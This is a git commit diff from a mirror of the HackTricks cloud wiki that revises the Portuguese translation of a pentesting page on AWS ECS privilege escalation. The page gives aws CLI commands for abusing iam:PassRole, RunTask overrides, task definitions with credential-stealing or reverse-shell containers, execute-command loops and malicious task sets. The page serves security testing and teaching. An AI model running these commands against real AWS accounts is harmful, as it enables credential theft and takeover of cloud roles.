mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-ci-cd/gitblit-security/README.md', 'src/
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Mais **informações sobre ECS** em:
|
||||
Mais **info sobre ECS** em:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Direct privesc to a different ECS role.
|
||||
**Impacto Potencial:** Direct privesc to a different ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Um atacante que possui permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova ECS task com os valores de **execution role**, **task role** e **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides` que permite alterar em tempo de execução os `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
|
||||
Um atacante que tem permissões `iam:PassRole` e `ecs:RunTask` pode iniciar uma nova task do ECS com **execution role**, **task role** e o **command** do container modificados. O comando CLI `ecs run-task` contém a flag `--overrides` que permite alterar em tempo de execução os valores `executionRoleArn`, `taskRoleArn` e o `command` do container sem tocar na task definition.
|
||||
|
||||
As IAM roles especificadas para `taskRoleArn` e `executionRoleArn` devem confiar/permitir serem assumidas por `ecs-tasks.amazonaws.com` em sua trust policy.
|
||||
As IAM roles especificadas em `taskRoleArn` e `executionRoleArn` devem confiar/permitir ser assumidas por `ecs-tasks.amazonaws.com` na sua trust policy.
|
||||
|
||||
Além disso, o atacante precisa saber:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (Se nenhum security group for especificado o padrão será usado)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
- Nome do cluster ECS
|
||||
- Sub-rede da VPC
|
||||
- Grupo de segurança (Se nenhum grupo de segurança for especificado, o padrão será usado)
|
||||
- Nome e revisão da Task Definition
|
||||
- Nome do Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
No trecho de código acima, um atacante sobrescreve apenas o valor `taskRoleArn`. No entanto, o atacante deve ter a permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque ocorra.
|
||||
No trecho de código acima um atacante sobrescreve apenas o valor de `taskRoleArn`. No entanto, o atacante precisa da permissão `iam:PassRole` sobre o `taskRoleArn` especificado no comando e sobre o `executionRoleArn` especificado na definição da task para que o ataque aconteça.
|
||||
|
||||
Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a task do ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`.
|
||||
Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) então o atacante pode especificar a mesma IAM role para ambos `executionRoleArn` e `taskRoleArn` no comando `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Impacto Potencial:** Direct privesc to any ECS task role.
|
||||
**Impacto Potencial:** Privesc direto para qualquer ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadata e **executá-la**.\
|
||||
No entanto, nesse caso, é necessário uma container instance para executar a task definition maliciosa.
|
||||
Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** no ECS pode **gerar uma nova definição de tarefa (task definition)** com um **contêiner malicioso** que rouba as credenciais de metadados e **executá-la**.\
|
||||
No entanto, neste caso, é necessário que exista uma instância de container para executar a definição de tarefa maliciosa.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Impacto Potencial:** privesc direto para qualquer role do ECS.
|
||||
**Potential Impact:** Privesc direto para qualquer ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Assim como no exemplo anterior, um atacante que abusar das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo service com pelo menos 1 task em execução.**
|
||||
Assim como no exemplo anterior, um atacante que abusa das permissões **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** no ECS pode **gerar uma nova task definition** com um **container malicioso** que rouba as credenciais de metadados e **executá-la criando um novo service com pelo menos 1 task em execução.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Impacto Potencial:** privesc direto para qualquer ECS role.
|
||||
**Impacto Potencial:** Privesc direto para qualquer role do ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com um role arbitrário com algo como:
|
||||
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container assumindo uma role arbitrária, com algo como:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,13 +181,13 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para qualquer role do ECS.
|
||||
**Impacto Potencial:** Privesc direto para qualquer ECS role.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Este cenário é como os anteriores mas **sem** a permissão **`iam:PassRole`**.\
|
||||
Isso continua interessante porque, se você conseguir executar um container arbitrário, mesmo sem um role, você poderia **executar um container privilegiado para escapar** para o node e **roubar o EC2 IAM role** e as **outras roles dos containers ECS** que estão rodando no node.\
|
||||
Você poderia até **forçar outras tasks a rodarem dentro da instância EC2** que você comprometer para roubar as credenciais delas (conforme discutido na [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
Ainda é interessante porque, se você conseguir executar um container arbitrário, mesmo sem role, você poderia **run a privileged container to escape** para o nó e **steal the EC2 IAM role** e os **the other ECS containers roles** que estão rodando no nó.\
|
||||
Você poderia até **force other tasks to run inside the EC2 instance** que você compromete para roubar suas credenciais (como discutido na [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Este ataque só é possível se o **ECS cluster estiver usando EC2** instâncias e não Fargate.
|
||||
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Um atacante com os **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque são necessárias para executar `aws ecs execute-command`).\
|
||||
No entanto, para fazer isso, a instância do container precisa estar executando o **ExecuteCommand agent** (que por padrão não está).
|
||||
Um atacante com os **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar `aws ecs execute-command`).\
|
||||
No entanto, para fazer isso, a instância do container precisa estar executando o **ExecuteCommand agent** (o que por padrão não acontece).
|
||||
|
||||
Portanto, o atacante pode tentar:
|
||||
|
||||
- **Tentar executar um comando** em todos os containers em execução
|
||||
- **Tentar executar um comando** em cada container em execução
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -257,17 +257,17 @@ aws ecs execute-command --interactive \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Se ele tiver **`ecs:RunTask`**, execute uma task com `aws ecs run-task --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:StartTask`**, execute uma task com `aws ecs start-task --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:StartTask`**, inicie uma task com `aws ecs start-task --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:CreateService`**, crie um service com `aws ecs create-service --enable-execute-command [...]`
|
||||
- Se ele tiver **`ecs:UpdateService`**, atualize um service com `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Você pode encontrar **exemplos dessas opções** nas **seções anteriores de ECS privesc**.
|
||||
|
||||
**Potential Impact:** Privesc to a different role attached to contêineres.
|
||||
**Impacto Potencial:** Privesc para um role diferente anexado aos contêineres.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Consulte a **ssm privesc page** para ver como você pode abusar dessa permissão para **privesc para ECS**:
|
||||
Veja na **página ssm privesc** como você pode abusar desta permissão para **privesc para ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Consulte a **ec2 privesc page** para ver como você pode abusar dessas permissões para **privesc para ECS**:
|
||||
Veja na **página ec2 privesc** como você pode abusar dessas permissões para **privesc para ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -290,9 +290,9 @@ Um atacante com essas permissões poderia potencialmente registrar uma instânci
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar isso
|
||||
> TODO: Testar isto
|
||||
|
||||
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um serviço ECS existente e atualizar o task set primário**. Isso permite que o atacante **execute código arbitrário dentro do serviço**.
|
||||
Um atacante com as permissões `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, e `ecs:DescribeTaskSets` pode **criar um task set malicioso para um service ECS existente e atualizar o primary task set**. Isso permite que o atacante **execute código arbitrário dentro do service**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Impacto potencial**: Executar código arbitrário no serviço afetado, potencialmente afetando sua funcionalidade ou exfiltrando dados sensíveis.
|
||||
**Impacto Potencial**: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
Reference in New Issue
Block a user